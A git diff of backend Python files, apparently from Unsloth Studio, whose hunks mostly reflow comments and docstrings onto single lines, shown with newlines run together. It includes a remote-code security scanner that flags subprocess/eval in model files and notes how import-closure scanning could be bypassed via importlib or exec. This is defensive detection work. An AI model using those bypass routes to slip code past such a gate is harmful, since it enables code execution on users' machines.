"scan_packages.py"@@ -295,9 +264,7 @@ def _load_canonical_scanner():return module-# Model-context-strict patterns: the canonical scanner flags bare ``subprocess``/``eval`` only in-# combinations, but a model's modeling_*.py never legitimately shells out, so these flag alone.-# For example a bare ``subprocess.Popen`` in a config ``__init__``.+# Model-context-strict patterns: the canonical scanner flags bare ``subprocess``/``eval`` only in combinations, but a model's modeling_*.py never legitimately shells out, so these flag alone (for example a bare ``subprocess.Popen`` in a config ``__init__``)._MODEL_STRICT_PATTERNS: tuple[tuple[re.Pattern, str, str], ...] = ((re.compile(@@ -326,9 +293,7 @@ def _snippet_rows(col: Optional[int] = None,match_len: int = 0,) -> list[dict]:- """A `±_SNIPPET_CONTEXT`-line window around `line` (1-based). Rows are- {number, text, is_match}; the matched row adds match_start/match_end for an inline- highlight when a precise column span is known."""+ """A `±_SNIPPET_CONTEXT`-line window around `line` (1-based). Rows are {number, text, is_match}; the matched row adds match_start/match_end for an inline highlight when a precise column span is known."""lines = content.splitlines()if not lines or line < 1:return []@@ -354,8 +319,7 @@ def _attach_location(finding: Finding,match: "Optional[re.Match]" = None,) -> None:- """Populate finding.line + finding.snippet. A regex match gives a precise- line+column; canonical findings are located via the `L<n>:` prefix in their evidence."""+ """Populate finding.line + finding.snippet. A regex match gives a precise line+column; canonical findings are located via the `L<n>:` prefix in their evidence."""if match is not None:before = content[: match.start()]line = before.count("\n") + 1@@ -376,8 +340,7 @@ def _scan_content(content: str, filename: str) -> list[Finding]:canon = _load_canonical_scanner()if canon is not None:- # Canonical Finding is (severity, package, filename, check, evidence); adapt to- # the gate's (severity, filename, check, evidence).+ # Canonical Finding is (severity, package, filename, check, evidence); adapt to the gate's (severity, filename, check, evidence).for f in canon.check_py_file(content, filename, ""):finding = Finding(f.severity, f.filename, f.check, (f.evidence or "")[:120])_attach_location(content, finding)@@ -414,9 +377,7 @@ def scan_remote_code_files(files: dict[str, str]) -> ScanResult:def _read_python_source(path) -> str:- """Decode a .py the way Python will execute it: a PEP 263 cookie- (`# coding: cp1252`) wins, so forcing utf-8 would scan something other than- what runs."""+ """Decode a .py the way Python will execute it: a PEP 263 cookie (`# coding: cp1252`) wins, so forcing utf-8 would scan something other than what runs."""data = path.read_bytes()try:encoding = tokenize.detect_encoding(io.BytesIO(data).readline)[0]@@ -450,15 +411,7 @@ def repo_remote_code_files(*,load_subdirs = (),) -> dict[str, str]:- """Download every executable ``.py`` in the repo plus external ``auto_map`` targets.-- Returns {filename: content}. An EMPTY dict means the repo ships no executable ``.py``- (trust_remote_code is a no-op). Raises ``RemoteCodeUnscannable`` when code is present- but cannot be fully fetched/listed (offline/gated/404/listing failure), so the caller- fails closed rather than fingerprint a partial view of code transformers would run in- full. The empty-vs-raise split lets the gate allow a code-free repo while still- blocking unscannable code.- """+ """Download every executable ``.py`` in the repo plus external ``auto_map`` targets. Returns {filename: content}. An EMPTY dict means the repo ships no executable ``.py`` (trust_remote_code is a no-op). Raises ``RemoteCodeUnscannable`` when code is present but cannot be fully fetched/listed (offline/gated/404/listing failure), so the caller fails closed rather than fingerprint a partial view of code transformers would run in full. The empty-vs-raise split lets the gate allow a code-free repo while still blocking unscannable code."""import jsonfrom pathlib import Path@@ -469,10 +422,7 @@ def repo_remote_code_files(if is_local_path(model_name):root = Path(normalize_path(model_name)).expanduser()- # Walk ALL .py, not just the auto_map entry's static import closure. This is DELIBERATE: the entry can reach- # a sibling via an absolute import, importlib, or exec, which a relative-import closure misses, so closure-- # only scanning is a real bypass. A broad scan never under-scans; the cost is that a benign script can over-- # block, the safe direction for an RCE gate (HIGH stays approvable; only CRITICAL hard-blocks).+ # Walk ALL .py, not just the auto_map entry's static import closure. This is DELIBERATE: the entry can reach a sibling via an absolute import, importlib, or exec, which a relative-import closure misses, so closure-only scanning is a real bypass. A broad scan never under-scans; the cost is that a benign script can over-block, the safe direction for an RCE gate (HIGH stays approvable; only CRITICAL hard-blocks).def raise_walk_error(error):raise error@@ -500,9 +450,7 @@ def repo_remote_code_files(f"{model_name}: Python source {p.relative_to(root)} is unreadable")files[str(p.relative_to(root))] = _read_python_source(p)- # A local config can still point auto_map at an EXTERNAL Hub repo that executes on load, so fetch it; every- # config that can declare auto_map is checked.- # The external form is owner/name--module.Class.+ # A local config can still point auto_map at an EXTERNAL Hub repo that executes on load, so fetch it; every config that can declare auto_map is checked. The external form is owner/name--module.Class.ext_refs = set()for name in remote_code_config_paths(load_subdirs):p = root.joinpath(*pathlib.PurePosixPath(name).parts)@@ -519,9 +467,7 @@ def repo_remote_code_files(from huggingface_hub.utils import EntryNotFoundErrorfrom utils.hf_probe import hf_file_definitely_absent- # Collect auto_map refs from EVERY config that can declare one. A 404- # (EntryNotFoundError) means the config is absent -> skip; any other failure is- # transient/auth and could hide an auto_map, so fail closed (unscannable).+ # Collect auto_map refs from EVERY config that can declare one. A 404 (EntryNotFoundError) means the config is absent -> skip; any other failure is transient/auth and could hide an auto_map, so fail closed (unscannable).refs = set()for cfg_name in remote_code_config_paths(load_subdirs):# Avoid caching expected 404s; other failures still reach the fail-closed path.@@ -545,21 +491,13 @@ def repo_remote_code_files(except Exception:passown_refs = {fn for repo, fn in refs if repo is None}- # The full file list catches helper .py the auto_map code imports but does not- # name. If we cannot list the repo, an imported module could be missed and the- # fingerprint cover less than transformers runs, so fail closed (unscannable).+ # The full file list catches helper .py the auto_map code imports but does not name. If we cannot list the repo, an imported module could be missed and the fingerprint cover less than transformers runs, so fail closed (unscannable).try:repo_files = list_repo_files(model_name, token = hf_token)except Exception as exc:raise RemoteCodeUnscannable(f"{model_name}: could not list repo files ({exc})") from excrepo_file_set = set(repo_files)- # Scan every present .py PLUS own-repo auto_map targets that ACTUALLY EXIST in this revision. Scanning every .py- # rather than the closure is DELIBERATE: the entry can reach a sibling via absolute import / importlib / exec,- # so closure-only scanning is a real bypass, and over-blocking is the safe direction for an RCE gate (HIGH- # approvable; only CRITICAL hard-blocks). An auto_map target absent from the listing is a STALE ref- # (unsloth/PaddleOCR-VL names processing_ppocrvl.py but ships processing_paddleocr_vl.py); transformers cannot- # execute an absent file, so drop the stale ref rather than fail closed. This also absorbs a mis-derived dotted- # name (sub.mod.py vs sub/mod.py).+ # Scan every present .py PLUS own-repo auto_map targets that ACTUALLY EXIST in this revision. Scanning every .py rather than the closure is DELIBERATE: the entry can reach a sibling via absolute import / importlib / exec, so closure-only scanning is a real bypass, and over-blocking is the safe direction for an RCE gate (HIGH approvable; only CRITICAL hard-blocks). An auto_map target absent from the listing is a STALE ref (unsloth/PaddleOCR-VL names processing_ppocrvl.py but ships processing_paddleocr_vl.py); transformers cannot execute an absent file, so drop the stale ref rather than fail closed. This also absorbs a mis-derived dotted name (sub.mod.py vs sub/mod.py).present_py = {f for f in repo_files if f.endswith(".py")}stale_refs = own_refs - repo_file_setfor fn in sorted(stale_refs):@@ -579,8 +517,7 @@ def repo_remote_code_files(cache_dir = active_hf_hub_cache(),)except Exception as exc:- # A .py CONFIRMED PRESENT could not be fetched: a partial set would fingerprint "clean" while- # transformers later runs the file, so fail closed.+ # A .py CONFIRMED PRESENT could not be fetched: a partial set would fingerprint "clean" while transformers later runs the file, so fail closed.raise RemoteCodeUnscannable(f"{model_name}: present file {fn} could not be fetched ({exc})") from exc@@ -594,18 +531,12 @@ def repo_remote_code_files(except Exception as exc:# An unexpected error mid-scan means we could not complete it -> unscannable.raise RemoteCodeUnscannable(f"{model_name}: scan failed ({exc})") from exc- # An empty dict here means the listing succeeded and the repo ships no executable .py- # (nor fetchable external refs) -> trust_remote_code is a no-op for the caller.+ # An empty dict here means the listing succeeded and the repo ships no executable .py (nor fetchable external refs) -> trust_remote_code is a no-op for the caller.return filesdef _iter_auto_map_strings(value):- """Yield every string class-ref inside one ``auto_map`` value.-- A value is a bare string (``"modeling_x.Cls"``) or a list/tuple (transformers encodes- a tokenizer as ``"AutoTokenizer": [slow, fast]``, possibly nested or with nulls).- Flatten all forms so external tokenizer code in the list shape is scanned.- """+ """Yield every string class-ref inside one ``auto_map`` value. A value is a bare string (``"modeling_x.Cls"``) or a list/tuple (transformers encodes a tokenizer as ``"AutoTokenizer": [slow, fast]``, possibly nested or with nulls), so flatten all forms and external tokenizer code in the list shape is scanned too."""if isinstance(value, str):yield valueelif isinstance(value, (list, tuple, set)):@@ -617,12 +548,7 @@ def _iter_auto_map_strings(value):def _auto_map_refs(cfg: dict) -> set:- """``(repo, filename)`` pairs referenced by config auto_map.-- ``repo`` is ``None`` for own-repo code. An external ``owner/name--module.Class`` ref- (transformers' cross-repo form) yields ``("owner/name", "module.py")`` so cross-repo- code is scanned + fingerprinted too.- """+ """``(repo, filename)`` pairs referenced by config auto_map. ``repo`` is ``None`` for own-repo code. An external ``owner/name--module.Class`` ref (transformers' cross-repo form) yields ``("owner/name", "module.py")`` so cross-repo code is scanned and fingerprinted too."""out = set()am = cfg.get("auto_map") or {}if isinstance(am, dict):@@ -652,12 +578,7 @@ def external_auto_map_repos(*,load_subdirs = (),) -> set:- """External Hub repos referenced by any of this model's auto_map configs.-- The ``owner/name`` repos ``_add_external_refs`` downloads. The scan route uses this so- declining consent purges them too, not leaving untrusted external code cached.- Best-effort, config/metadata-only: returns whatever can be read, never raises.- """+ """External Hub repos referenced by any of this model's auto_map configs: the ``owner/name`` repos ``_add_external_refs`` downloads. The scan route uses this so declining consent purges them too, not leaving untrusted external code cached. Best-effort, config/metadata-only: returns whatever can be read, never raises."""repos: set = set()try:import json@@ -708,19 +629,11 @@ def external_auto_map_repos(def _add_external_refs(files: dict, refs, hf_token, model_name: str) -> bool:- """Download external-repo auto_map code into ``files`` (keyed ``repo--file``).-- transformers fetches the entry file AND its relative imports from the same external- repo, so scanning only the entry would miss code in a ``helper.py`` it imports. Mirror- the own-repo path: enumerate each external repo's ``.py`` and scan the whole set (plus- the referenced entry files). Returns False if any external repo cannot be listed or a- file cannot be fetched, so the caller fails closed.- """+ """Download external-repo auto_map code into ``files`` (keyed ``repo--file``). transformers fetches the entry file AND its relative imports from the same external repo, so scanning only the entry would miss code in a ``helper.py`` it imports. Mirror the own-repo path: enumerate each external repo's ``.py`` and scan the whole set (plus the referenced entry files). Returns False if any external repo cannot be listed or a file cannot be fetched, so the caller fails closed."""from pathlib import Pathfrom huggingface_hub import hf_hub_download, list_repo_files- # Group the explicit entry refs by external repo.entries: dict = {}for repo, fn in refs:if repo is None:@@ -738,10 +651,7 @@ def _add_external_refs(files: dict, refs, hf_token, model_name: str) -> bool:exc,)return False- # The loader's executable closure is every present .py plus any referenced entry file. With a- # non-empty listing, an entry ref absent from present_py is stale and is dropped; with an EMPTY- # listing staleness cannot be proven, so keep fetching and fail closed. Never under-scan.- # A PRESENT file that cannot be fetched still fails closed below.+ # The loader's executable closure is every present .py plus any referenced entry file. With a non-empty listing, an entry ref absent from present_py is stale and is dropped; with an EMPTY listing staleness cannot be proven, so keep fetching and fail closed. Never under-scan. A PRESENT file that cannot be fetched still fails closed below.repo_file_set = set(repo_files)present_py = {f for f in repo_files if f.endswith(".py")}if repo_file_set:diff --git a/studio/backend/utils/ssm_runtime.py b/studio/backend/utils/ssm_runtime.pyindex 8673c993633..163145116f4 100644--- a/studio/backend/utils/ssm_runtime.py+++ b/studio/backend/utils/ssm_runtime.py@@ -1,15 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Auto-install the SSM/Mamba kernels a hybrid model needs before it loads.--Mamba/SSM hybrids (Nemotron-H/Nano, Falcon-H1, Granite-4.0-H, GraniteMoEHybrid, ...)-lazy-``import mamba_ssm`` / ``causal_conv1d`` in their ``modeling_*.py`` during-``from_pretrained``; absent, the load dies with "mamba-ssm is required ... cannot be-imported". The training worker installs them wheel-first before a fine-tune; this is the-shared, callback-based version the inference load path calls so chat behaves the same.-Detection/versions mirror the training worker (``tests/test_ssm_runtime.py`` guards drift).-"""+"""Auto-install the SSM/Mamba kernels a hybrid model needs before it loads. Mamba/SSM hybrids (Nemotron-H/Nano, Falcon-H1, Granite-4.0-H, GraniteMoEHybrid, ...) lazy-``import mamba_ssm`` / ``causal_conv1d`` in their ``modeling_*.py`` during ``from_pretrained``; absent, the load dies with "mamba-ssm is required ... cannot be imported". The training worker installs them wheel-first before a fine-tune; this is the shared, callback-based version the inference load path calls so chat behaves the same. Detection and versions mirror the training worker (``tests/test_ssm_runtime.py`` guards drift)."""from __future__ import annotations@@ -45,8 +37,7 @@ MAMBA_SSM_PACKAGE_VERSION = "2.3.1"MAMBA_SSM_RELEASE_TAG = "v2.3.1"MAMBA_SSM_RELEASE_BASE_URL = "https://github.com/state-spaces/mamba/releases/download"-# Lowercased-id substring matches, mirroring the training worker. mamba-ssm models are a-# subset of the causal-conv1d set.+# Lowercased-id substring matches, mirroring the training worker. mamba-ssm models are a subset of the causal-conv1d set.SSM_MODEL_SUBSTRINGS = ("nemotron_h","nemotron-h",@@ -86,8 +77,7 @@ def model_is_ssm(model_name: str) -> bool:def model_wants_causal_conv1d(model_name: str) -> bool:- """Whether *model_name* needs ``causal_conv1d`` (the SSM set plus linear-attention- hybrids like Qwen3-Next / LFM2 whose modeling files lazy-import it)."""+ """Whether *model_name* needs ``causal_conv1d`` (the SSM set plus linear-attention hybrids like Qwen3-Next / LFM2 whose modeling files lazy-import it)."""name = (model_name or "").lower()return any(sub in name for sub in CAUSAL_CONV1D_MODEL_SUBSTRINGS)@@ -192,12 +182,7 @@ def resolved_model_wants_causal_conv1d(def ssm_probe_identifier(model_name: str, base: str | None = None) -> str:- """The identifier whose architecture decides the SSM kernels.-- The substring match needs a real model id: a LoRA adapter id or a local checkpoint's- parent folders are unrelated to its architecture (a Llama LoRA at ``user/falcon-h1-lora``- is not SSM). Prefer *base*; for a bare local checkpoint use its basename.- """+ """The identifier whose architecture decides the SSM kernels. The substring match needs a real model id: a LoRA adapter id or a local checkpoint's parent folders are unrelated to its architecture (a Llama LoRA at ``user/falcon-h1-lora`` is not SSM). Prefer *base*; for a bare local checkpoint use its basename."""probe = base or model_nameif probe == model_name:try:@@ -216,9 +201,7 @@ def _is_importable(import_name: str) -> bool:__import__(import_name)return Trueexcept Exception as exc:- # An ABI-incompatible kernel (undefined symbol after a torch/CUDA upgrade) raises- # OSError/RuntimeError, not ImportError; treat any failure as "not importable" so the- # caller reinstalls/source-builds instead of hard-failing on a merely broken kernel.+ # An ABI-incompatible kernel (undefined symbol after a torch/CUDA upgrade) raises OSError/RuntimeError, not ImportError; treat any failure as "not importable" so the caller reinstalls or source-builds instead of hard-failing on a merely broken kernel.logger.debug("%s is not importable (%s: %s)", import_name, type(exc).__name__, exc)return False@@ -234,8 +217,7 @@ def _emit(status_cb: StatusCb, message: str) -> None:def _hipcc_gcc_install_dir() -> Optional[str]:- """Highest gcc dir with both runtime and C++ headers, for ROCm clang's- ``--gcc-install-dir`` (Ubuntu 24.04 ships gcc-14 runtime without its headers)."""+ """Highest gcc dir with both runtime and C++ headers, for ROCm clang's ``--gcc-install-dir`` (Ubuntu 24.04 ships gcc-14 runtime without its headers)."""if not sys.platform.startswith("linux") or platform.machine().lower() != "x86_64":return Nonefor ver in (14, 13, 12, 11):@@ -252,13 +234,7 @@ _HEARTBEAT_SECONDS = 60.0@contextmanagerdef _heartbeat(status_cb: StatusCb, message: str) -> Iterator[None]:- """Emit *message* on a timer while the wrapped work runs.-- The inference orchestrator treats silence as a dead load: status messages- reset its inactivity deadline. Prebuilt wheel installs and source builds- can both stay quiet for minutes on aarch64 / slow links, so both paths use- this.- """+ """Emit *message* on a timer while the wrapped work runs. The inference orchestrator treats silence as a dead load, and status messages reset its inactivity deadline; prebuilt wheel installs and source builds can both stay quiet for minutes on aarch64 or slow links, so both paths use this."""done = threading.Event()def _beat() -> None:@@ -276,8 +252,7 @@ def _heartbeat(status_cb: StatusCb, message: str) -> Iterator[None]:def _run_with_heartbeat(run, cmd, status_cb, display_name, **kwargs):- """Run *cmd* via *run*, emitting a status every 60s so the parent's inactivity- timeout isn't tripped by a long (e.g. ROCm) source build."""+ """Run *cmd* via *run*, emitting a status every 60s so the parent's inactivity timeout is not tripped by a long (e.g. ROCm) source build."""with _heartbeat(status_cb,f"Still building {display_name} (this can take several minutes)...",@@ -296,8 +271,7 @@ def _install_kernel(status_cb: StatusCb,run: Callable[..., Any],) -> bool:- """Install one kernel wheel-first, then a HIP-aware PyPI source build. Returns True iff- importable afterwards; idempotent (no-op when already installed)."""+ """Install one kernel wheel-first, then a HIP-aware PyPI source build. Returns True iff importable afterwards; idempotent (no-op when already installed)."""if _is_importable(import_name):logger.info("%s already installed", display_name)return True@@ -331,8 +305,7 @@ def _install_kernel(run = run,):if getattr(result, "returncode", 1) == 0:- # A wheel can install yet fail to import (CUDA/ABI mismatch); verify before- # trusting it, else source-build to match the local ABI.+ # A wheel can install yet fail to import (CUDA/ABI mismatch); verify before trusting it, else source-build to match the local ABI.if _is_importable(import_name):logger.info("Installed prebuilt %s wheel", display_name)return True@@ -364,8 +337,7 @@ def _install_kernel(status_cb,f"Building {display_name} from source for this model (this can take several minutes)...",)- # Reinstall so the source build replaces a broken wheel instead of no-opping as- # "already satisfied"; --no-cache avoids stale partial HIP build artifacts.+ # Reinstall so the source build replaces a broken wheel instead of no-opping as "already satisfied"; --no-cache avoids stale partial HIP build artifacts.if shutil.which("uv"):cmd = ["uv",@@ -397,8 +369,7 @@ def _install_kernel("stdout": subprocess.PIPE,"stderr": subprocess.STDOUT,"text": True,- # pip and the compilers it drives write UTF-8 down this pipe; the Windows- # ANSI codepage would mojibake or raise over a fine install.+ # pip and the compilers it drives write UTF-8 down this pipe; the Windows ANSI codepage would mojibake or raise over a fine install."encoding": "utf-8","errors": "replace",# Make the Python child emit the UTF-8 we decode above.@@ -433,25 +404,20 @@ def ensure_ssm_runtime(status_cb: StatusCb = None,run: Callable[..., Any] = subprocess.run,) -> None:- """Install the SSM kernels *model_name* needs before load, wheel-first; a no-op for- non-SSM models and idempotent. Only a true SSM hybrid's ``mamba_ssm`` is fatal (raises- ``RuntimeError`` instead of a cryptic mid-load failure); ``causal_conv1d`` is best-effort- (Qwen3-Next/LFM2 fall back to torch).- """+ """Install the SSM kernels *model_name* needs before load, wheel-first; a no-op for non-SSM models and idempotent. Only a true SSM hybrid's ``mamba_ssm`` is fatal (raises ``RuntimeError`` instead of a cryptic mid-load failure); ``causal_conv1d`` is best-effort, with Qwen3-Next/LFM2 falling back to torch."""wants_causal_conv1d = model_wants_causal_conv1d(model_name)is_ssm = model_is_ssm(model_name)if not (wants_causal_conv1d or is_ssm):return- # No prebuilt Windows wheel: skip causal-conv1d on win32 (mirrors training) rather than- # dropping a chat load into a multi-minute source build for an optional fast path.+ # No prebuilt Windows wheel: skip causal-conv1d on win32 (mirrors training) rather than dropping a chat load into a multi-minute source build for an optional fast path.if wants_causal_conv1d and sys.platform == "win32":logger.info("Skipping causal-conv1d on Windows (no prebuilt wheel); using the torch fallback")wants_causal_conv1d = False- # causal-conv1d first (SSM modeling files lazy-import it; mamba-ssm's fast path uses it).+ # causal-conv1d first: SSM modeling files lazy-import it, and mamba-ssm's fast path uses it.if wants_causal_conv1d and not _install_kernel(import_name = "causal_conv1d",display_name = "causal-conv1d",diff --git a/studio/backend/utils/torch_device_probe.py b/studio/backend/utils/torch_device_probe.pyindex 9b486cc5540..92847d9afad 100644--- a/studio/backend/utils/torch_device_probe.py+++ b/studio/backend/utils/torch_device_probe.py@@ -3,13 +3,7 @@"""Probe torch allocation in a child so driver crashes do not kill the backend.-Only a child that ran cleanly to the end marks an accelerator usable. A crash, a hang, a-kill and a probe that could not run or be read all leave it unusable, since the allocation-this stands in front of ends the process rather than raising. Ordinary Python errors are-the exception: the child ran and reported, so the in-process loader raises the same error-and describes it better. CPU takes the opposite default, because it cannot fault a driver-and condemning it would change the embedding backend. Set-``UNSLOTH_STUDIO_DISABLE_DEVICE_PROBE=1`` to skip the probe.+Only a child that ran cleanly to the end marks an accelerator usable: a crash, a hang, a kill and a probe that could not run or be read all leave it unusable, since the allocation this stands in front of ends the process rather than raising. Ordinary Python errors are the exception, because the child ran and reported, so the in-process loader raises the same error and describes it better. CPU takes the opposite default, since it cannot fault a driver and condemning it would change the embedding backend. Set ``UNSLOTH_STUDIO_DISABLE_DEVICE_PROBE=1`` to skip the probe."""from __future__ import annotations@@ -36,22 +30,15 @@ PROBE_TIMEOUT_SECONDS = 120.0_CHILD_SELF_LIMIT_SECONDS = 300.0_TERMINATE_GRACE_SECONDS = 5.0_STDERR_TAIL_CHARS = 600-# SIGILL, SIGABRT, SIGBUS, SIGFPE, SIGSEGV. Deliberately not SIGKILL or SIGTERM, which-# say something killed the probe, not that the device cannot be used.+# SIGILL, SIGABRT, SIGBUS, SIGFPE, SIGSEGV. Deliberately not SIGKILL or SIGTERM, which say something killed the probe, not that the device cannot be used._FATAL_SIGNALS = frozenset({4, 6, 7, 8, 11})-# How a child reports that it stopped itself for running too long: the reserved exit status-# it uses on Windows, and SIGALRM from the kernel-enforced deadline everywhere else.+# How a child reports that it stopped itself for running too long: the reserved exit status it uses on Windows, and SIGALRM from the kernel-enforced deadline everywhere else._WATCHDOG_EXIT_STATUS = 70_SIGALRM_NUMBER = 14-# What the MSVC CRT abort() leaves behind on Windows. It is a plain exit status rather than-# an NTSTATUS, so nothing else here would recognise it. Same value LlamaCppBackend-# ._is_abort_exit already matches for GGML_ASSERT deaths.+# What the MSVC CRT abort() leaves behind on Windows. It is a plain exit status rather than an NTSTATUS, so nothing else here would recognise it. Same value LlamaCppBackend._is_abort_exit already matches for GGML_ASSERT deaths._WINDOWS_ABORT_EXIT_STATUS = 3-# Anything that changes which physical device a device string names, or which kernels the runtime emits for it. A change-# invalidates a cached verdict: a stale pass could skip the probe on an untested device, and a stale failure could pin a-# working one to CPU. The XPU selectors matter because _TORCH_DEVICE maps DeviceType.XPU to "xpu", so this probe runs-# there too.+# Anything that changes which physical device a device string names, or which kernels the runtime emits for it: a change invalidates a cached verdict, since a stale pass could skip the probe on an untested device and a stale failure could pin a working one to CPU. The XPU selectors matter because _TORCH_DEVICE maps DeviceType.XPU to "xpu", so this probe runs there too._DEVICE_IDENTITY_ENV_VARS = ("CUDA_VISIBLE_DEVICES","HIP_VISIBLE_DEVICES",@@ -62,9 +49,7 @@ _DEVICE_IDENTITY_ENV_VARS = ("ONEAPI_DEVICE_SELECTOR",)-# The matmul tests allocation and vendor BLAS initialization.-# item() synchronizes the result so an asynchronous driver fault cannot escape after the child exits, and Windows DLL-# directories must be registered before importing torch, since those registrations are process-local.+# The matmul tests allocation and vendor BLAS initialization. item() synchronizes the result so an asynchronous driver fault cannot escape after the child exits, and Windows DLL directories must be registered before importing torch, since those registrations are process-local._PROBE_SCRIPT = """import osimport signal@@ -145,17 +130,11 @@ def _rocm_dll_directories() -> list[str]:def _died_by_signal(returncode: int) -> bool:- """Return whether the code represents a hard fault, not any death by signal.+ """Whether the code represents a hard fault, not any death by signal.- SIGKILL and SIGTERM are excluded: the OOM killer, a container stop and an operator- all produce them, and they are not evidence the device faulted. Matches the hard-fault- set ``LlamaCppBackend._is_signal_crash`` already uses for the same reason. They are not- read as a pass either: the caller sends them to ``_unknown_verdict`` instead.+ SIGKILL and SIGTERM are excluded: the OOM killer, a container stop and an operator all produce them, and they are not evidence the device faulted. Matches the hard-fault set ``LlamaCppBackend._is_signal_crash`` already uses. They are not read as a pass either: the caller sends them to ``_unknown_verdict`` instead.- On Windows a native abort() takes both shapes: an NTSTATUS for an access violation,- and the CRT's plain exit status 3 when torch or a ROCm library calls abort() itself.- The second reads as an ordinary non-zero exit, so without it a crashing device was- reported as usable and the parent went on to repeat the crash in its own process.+ On Windows a native abort() takes both shapes, an NTSTATUS for an access violation and the CRT's plain exit status 3 when torch or a ROCm library calls abort() itself. The second reads as an ordinary non-zero exit, so without it a crashing device was reported as usable and the parent went on to repeat the crash in its own process."""if returncode < 0:return -returncode in _FATAL_SIGNALS@@ -167,15 +146,7 @@ def _died_by_signal(returncode: int) -> bool:def _hit_its_own_deadline(returncode: int) -> bool:- """Whether the child stopped itself for running too long.-- A child that reached its own deadline hung, and a hang is a device failure, so this- has to be read as one. Neither form is otherwise recognised: SIGALRM is not a hard- fault and would fall through ``_died_by_signal``, and the Windows status is an ordinary- non-zero exit. Both were being reported as a healthy device, which then let the parent- make the very allocation the probe stands in front of. It only comes up when the parent- did not enforce its own shorter timeout first, such as a suspended backend.- """+ """Whether the child stopped itself for running too long. A child that reached its own deadline hung, and a hang is a device failure, so this has to be read as one. Neither form is otherwise recognised: SIGALRM is not a hard fault and would fall through ``_died_by_signal``, and the Windows status is an ordinary non-zero exit. Both were being reported as a healthy device, which then let the parent make the very allocation the probe stands in front of. It only comes up when the parent did not enforce its own shorter timeout first, such as a suspended backend."""if returncode == _WATCHDOG_EXIT_STATUS:return Truereturn os.name != "nt" and returncode == -_SIGALRM_NUMBER@@ -187,16 +158,7 @@ def _unknown_verdict(*,exc_info: bool = True,) -> bool:- """What to answer when the probe produced no verdict at all.-- Unusable for an accelerator: no evidence it is fine, and the two ways of being wrong- are not symmetric, since the allocation this stands in front of ends the process.-- Usable for CPU, which is the opposite trade. A CPU load cannot fault a GPU driver, so- a probe that never ran says nothing against it, and condemning it here would send the- caller past its CPU fallback to the GGUF backend, changing the embedding space and- forcing a reindex over what may be a passing failure to fork.- """+ """What to answer when the probe produced no verdict at all. Unusable for an accelerator: there is no evidence it is fine, and the two ways of being wrong are not symmetric, since the allocation this stands in front of ends the process. Usable for CPU, the opposite trade: a CPU load cannot fault a GPU driver, so a probe that never ran says nothing against it, and condemning it here would send the caller past its CPU fallback to the GGUF backend, changing the embedding space and forcing a reindex over what may be a passing failure to fork."""usable = device == "cpu"logger.warning("torch allocation probe on %s %s; treating the device as %s",@@ -215,15 +177,9 @@ def _identity_key() -> tuple[str | None, ...]:def device_can_allocate(device: str) -> bool:"""Return false unless the device is known to be usable.- False when the child crashes or times out, and also when it could not be spawned or- its result could not be read. Those last two are not evidence the device is fine, only- that we do not know, and the two outcomes are not symmetric: guessing wrong towards- CPU costs embedding speed, guessing wrong towards the accelerator costs the backend,- since the allocation this stands in front of terminates the process rather than raising.+ False when the child crashes or times out, and also when it could not be spawned or its result could not be read: those last two are not evidence the device is fine, only that we do not know, and the outcomes are not symmetric, since guessing wrong towards CPU costs embedding speed while guessing wrong towards the accelerator costs the backend.- An ordinary exception from a child that RAN and reported still returns true. The- in-process loader will raise the same error and report it better than a silent- downgrade to CPU does. Results are cached per device and device-identity environment.+ An ordinary exception from a child that RAN and reported still returns true, because the in-process loader raises the same error and reports it better than a silent downgrade to CPU. Results are cached per device and device-identity environment."""return _device_can_allocate_cached(device, _identity_key())@@ -247,8 +203,7 @@ def _device_can_allocate_cached(device: str, _identity: tuple[str | None, ...])encoding = "utf-8",errors = "replace",env = utf8_child_env(env),- # No child_popen_kwargs() here. Its Linux preexec_fn can deadlock when this multithreaded backend forks and- # executes Python before exec.+ # No child_popen_kwargs() here. Its Linux preexec_fn can deadlock when this multithreaded backend forks and executes Python before exec.**windows_hidden_subprocess_kwargs(),)except Exception: # noqa: BLE001 - no child ran, so nothing was proven@@ -295,8 +250,7 @@ def _device_can_allocate_cached(device: str, _identity: tuple[str | None, ...])return Falseif process.returncode < 0:- # An OOM kill or container stop is not evidence against the device but is not a clean run either, and- # reading it as a pass would send _load_device() into the death the probe prevents.+ # An OOM kill or container stop is not evidence against the device but is not a clean run either, and reading it as a pass would send _load_device() into the death the probe prevents.return _unknown_verdict(device,f"was killed by signal {-process.returncode} without faulting",@@ -310,15 +264,7 @@ def _device_can_allocate_cached(device: str, _identity: tuple[str | None, ...])def _terminate_and_drain(process: subprocess.Popen) -> str:- """Bound cleanup after timeout and retain an unkillable child for reaping.-- Escalates in one loop rather than nesting, so a single pair of handlers covers every- attempt. Nested, the post-kill read sat inside the timeout branch, where the trailing- ``except OSError`` was a sibling and could not see it: a pipe failure there escaped- ``device_can_allocate``, so a device that genuinely timed out raised instead of- returning False, the child never reached the reaper, and since ``lru_cache`` does not- cache exceptions the next call re-ran the whole probe.- """+ """Bound cleanup after timeout and retain an unkillable child for reaping. Escalates in one loop rather than nesting, so one pair of handlers covers every attempt. Nested, the post-kill read sat inside the timeout branch where the trailing ``except OSError`` was a sibling and could not see it: a pipe failure there escaped ``device_can_allocate``, so a device that genuinely timed out raised instead of returning False, the child never reached the reaper, and since ``lru_cache`` does not cache exceptions the next call re-ran the whole probe."""stderr = ""for signal_child in (process.terminate, process.kill):try:diff --git a/studio/backend/utils/torch_warmup.py b/studio/backend/utils/torch_warmup.pyindex 11c312abed7..5db73ca0ca3 100644--- a/studio/backend/utils/torch_warmup.py+++ b/studio/backend/utils/torch_warmup.py@@ -3,26 +3,11 @@"""Import the ML stack on a background thread while the backend finishes booting.-torch (plus the sympy/scipy/pandas it drags in) used to be imported by `import-main`, so the port could not bind until it finished. Deferring it alone would just-move that cost to the first request; this module pays it concurrently instead.--Started from the last line of main.py's lifespan: everything above is on the-critical path to binding the socket and would contend for the GIL. Uvicorn binds as-soon as the lifespan returns, so the warm overlaps serving, not boot.--Contract:- * idempotent -- one thread per process, repeat calls are no-ops- * never fatal -- a failed stage is logged and left cold, retried by whoever needs it- * no half-initialised state -- stages delegate to the module owning the cache- (utils.hardware, model_config), which caches under a lock and only on success,- so a racing request waits rather than sees a partial- * optional GPU consumers stay cold -- Hub downloads load the Xet/Unsloth Zoo- integration on demand, and RAG operations load their embedding backend on demand--This does NOT make torch-dependent endpoints cheap while it runs: anything reaching-get_device() blocks until the hardware stage finishes, so `async def` handlers on-that path must use asyncio.to_thread (see main.py's 